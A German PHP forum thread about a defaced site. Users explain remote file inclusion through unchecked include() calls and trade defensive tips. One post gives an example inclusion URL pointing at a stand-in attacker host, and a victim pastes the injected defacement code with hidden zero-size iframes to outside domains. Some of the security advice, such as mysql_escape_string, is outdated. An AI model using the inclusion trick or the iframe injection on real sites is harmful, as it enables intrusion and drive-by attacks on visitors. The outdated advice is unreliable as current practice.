HACKED BY iSKORPiTX

Ich denke mal, die Jungs haben die schon lange bekannte Sicherheitslücke von PHP ausgenutzt. Include oder Require ohne Prüfung der Variable. Dies kann genutzt werden, um fremden Code auszuführen.
 
Hm, leicht nationalistischer hauch...
Naja...aber wenns n bekannter exploit war: Selbst schuld...bzw der Serverbetreiber.Sei froh, dass sie nur etwas defaced haben...

MfgICH
 
Bestimmt haben sich einpaar Kids dieser Realschule nur einen Spaß gemacht und sich mit falschen Namen und Nationalität ausgegeben. Wenn man auch schon bedenkt, das sie in der Schule eventuell auch auf gewisse Daten ZUgriff haben, ist sowas ein Kinderspiel. Zumal wenn ich mich noch an meinen Informatiklehrer errinnern konnte, der überhaupt gar keine Ahnung von Websicherheit und Webdesign hatte. :D
 
Ich hab mich ja jetzt mal in Google umgesehen, und leider nichts gefunden was in irgendeiner Hinsicht hilfreich wäre...
Worin besteht denn diese Gefahr beim include() bzw. require() ???
Da ich selber beide benutze wüsste ich das gerne um die Sicherheitslücke eventuell zu closen...
Reicht es da einen switch zu machen?
Also:
switch($site) {
case "home";
include("home.php");
break;
case "etc";
...
break;
}
Ist denn diese version unsicher?

if(@$site){
include($site.".php");
}
else{
require("home.php");
}

Hoffnung auf Hilfe hat,
Imrahil
 
nun, es ist insofern eine sicherheitslücke als dass bei unsachgemäßer handhabung ein unbefugter sich zugriff verschaffen kann...
Ist es möglich auf die art und weise Code zu injezieren? ja oder nein?
Wenn ja wie kann man dies verhindern, also wie lasse ich es gar nicht erst zu diesem fehler kommen?
Imrahil
 
man kann mit einer direktive verhindern das urls includet werden können
wenn man immer die eingaben der user prüft dann kann man es gar nicht erst dazu kommen lassen :)
 
wenn du den user den user indirekt deine seitn steuern lassen kannst, kann er schlimmstenfalls deinen server zum abkacken bringen.
wenn du schreibst
if($site != ""){
include($site.".php");
}
else{
include("home.php");
}
http://xy.com/?site=http://haxor.org/boehse.php
die wird einfach eingefügt, wenn du case switch benutzt, dnan kann er die variable nicht beeinflussen
 
das beispiel mit $site sieht so aus als wuerdest du register_globals verwenden. dass will man natuerlich nicht. also stattdessen $HTTP_GET_VARS['site'], bzw. POST. davon gibts auch noch kurzvarianten die ich aber grad nicht auswendig weiss.

ich benutze in skripten eigentlich immer statt include() oder require() die funktion require_once(). ist nicht unbedingt sicherheitsrelevant aber kann nicht schaden.

ansonsten massnahmen gegen sql injection treffen. dafuer hab ich ne funktion sqlfix():
function sqlfix($s) {
return (get_magic_quotes_gpc()==1) ? mysql_escape_string($s) : "'".mysql_escape_string($s)."'";
}

hab ich glaube aus irgend nem kommentar auf php.net. die benutzt du ueberall wo benutzereingaben in sql queries integriert werden. ausser bei numerischen werten, da nehm ich is_numeric($HTTP_GET_VARS['userid']).

ausserdem kann man in der php.ini diese remote include funktionalitaet ausschalten. oder gleich safemode aktivieren, aber dann geht einiges nicht mehr.
 
wenn wir jetzt schon bei sql injection sind, sollte man auch noch ne möglichkeit gegen cross-site-scripting erwähnen.
also man sollte htmlspecialchars() verwenden, wenn die vom benutzer gemachten eingaben kein html enthalten dürfen.
 
Leider hat mich heute Nacht auch dieser Spinner heimgesucht. Da ich wenig Erfahrung im Bereich PHP habe und nur ein Forum laufen lassen wollte bin ich jetzt mit dieser Situation etwas überfordert.

Mein Provider wollte ich Anfang August wechseln, da ich mit meinem jetzigen absolut nicht zufrieden bin. Von dem bekomme ich nicht mal Support im Ernstfall.

Zum Problem:

Ich habe per FTP mal geschaut, alle Dateien sind noch da - die meisten sind aber verändert worden. Alle PHP Dateien sind in Inhalt und Größe gleich - die htm Dateien sind nicht verändert worden.

Reicht das nun aus nur die Dateien aus dem letztem Backup zu überspielen um die Seite wieder herzustellen? Oder läuft bei so einer defaced Aktion noch irgend etwas im Hintergrund das ich als Laie nicht kenne?

EDIT: Das hier wurde in allen php Dateien geschieben

Code:
<marquee><h1>.::.HACKED BY iSKORPiTX (TURKISH HACKER).::.</h1></marquee>
<iframe src="http://www.mavidenizx.org" frameborder="0" width="0" height="0"></iframe>
<iframe src="http://www.mavidenizx.org/canakkale/index.htm" frameborder="0" width="0" height="0"></iframe>
<iframe src="http://www.mavidenizx.org/gelibolu/index.htm" frameborder="0" width="0" height="0"></iframe>
<iframe src="http://www.mavidenizx.org/troia/index.htm" frameborder="0" width="0" height="0"></iframe>
<iframe src="http://www.mavidenizx.org/forum/" frameborder="0" width="0" height="0"></iframe>
<iframe src="http://www.mavidenizx.org/canakkale/savasfoto.htm" frameborder="0" width="0" height="0"></iframe>
<iframe src="http://www.mavidenizx.org/canakkale/turistikfoto.htm" frameborder="0" width="0" height="0"></iframe>
<a href="http://mavidenizx.org/" title="web security">*</a>
<a href="http://mavidenizx.org/forum" title="web security">*</a>
<iframe src="http://doctordon.com/img/" width="425%" height="350" align="center">
<iframe src="http://www.donerightresurfacing.com/vti/" width="425%" height="350" align="center"><br />
<b>Fatal error</b>:  Call to a member function on a non-object in <b>/srv/www/web313/html/index.php</b> on line <b>22</b><br />
 
Hallo,
das wichtige ist herrauszufinden, wie sie deine Seite überhaupt defacen konnten.
Nur den alten Zustand wieder herzustellen bringt wenig, wenn die Lücke über die sie kamen, weiterhin offen ist.

Aber du kannst ja erst den Zustand wieder herstellen, und die dann auf die Suche machen.
Oft hinterlassen solche Leute eine Backdoor in PHP geschrieben, z.B. c99.php, womit sie sehr leicht deine Seite immer wieder neu defacen können.

Was du auf alle Fälle auch noch machen solltest, nachdem du die Lücken gefunden und behoben hast, deine Passwörter, z.B. das von der DB, zu verändern.
 
if(@$site)
{
include($site.".php");
}
else
{
include("home.php");
}

Ist zwar nicht gerade professionel aber muss nicht gerade so unsicher sein wenn man den PHP-Interpreter richtig konfiguriert hat.
Ich würde auf jedenfall Empfehlen "allow_url_fopen" in der php.ini auf Off zu stellen.
Mit dieser Einstellung können keine externen Seiten mehr geladen werden. (Wer zum Teufel braucht aber Includes bzw. Inhalte von anderen Seiten?)
Wenn dann jemand versucht eine externe Datei zu includen sieht das folgendermaßen aus:
Warning: include() [function.include]: URL file-access is disabled in the server configuration in index.php on line 49

Ps:
Wie siehts eigentlich mit Log-Files aus?
 
Zurück
Oben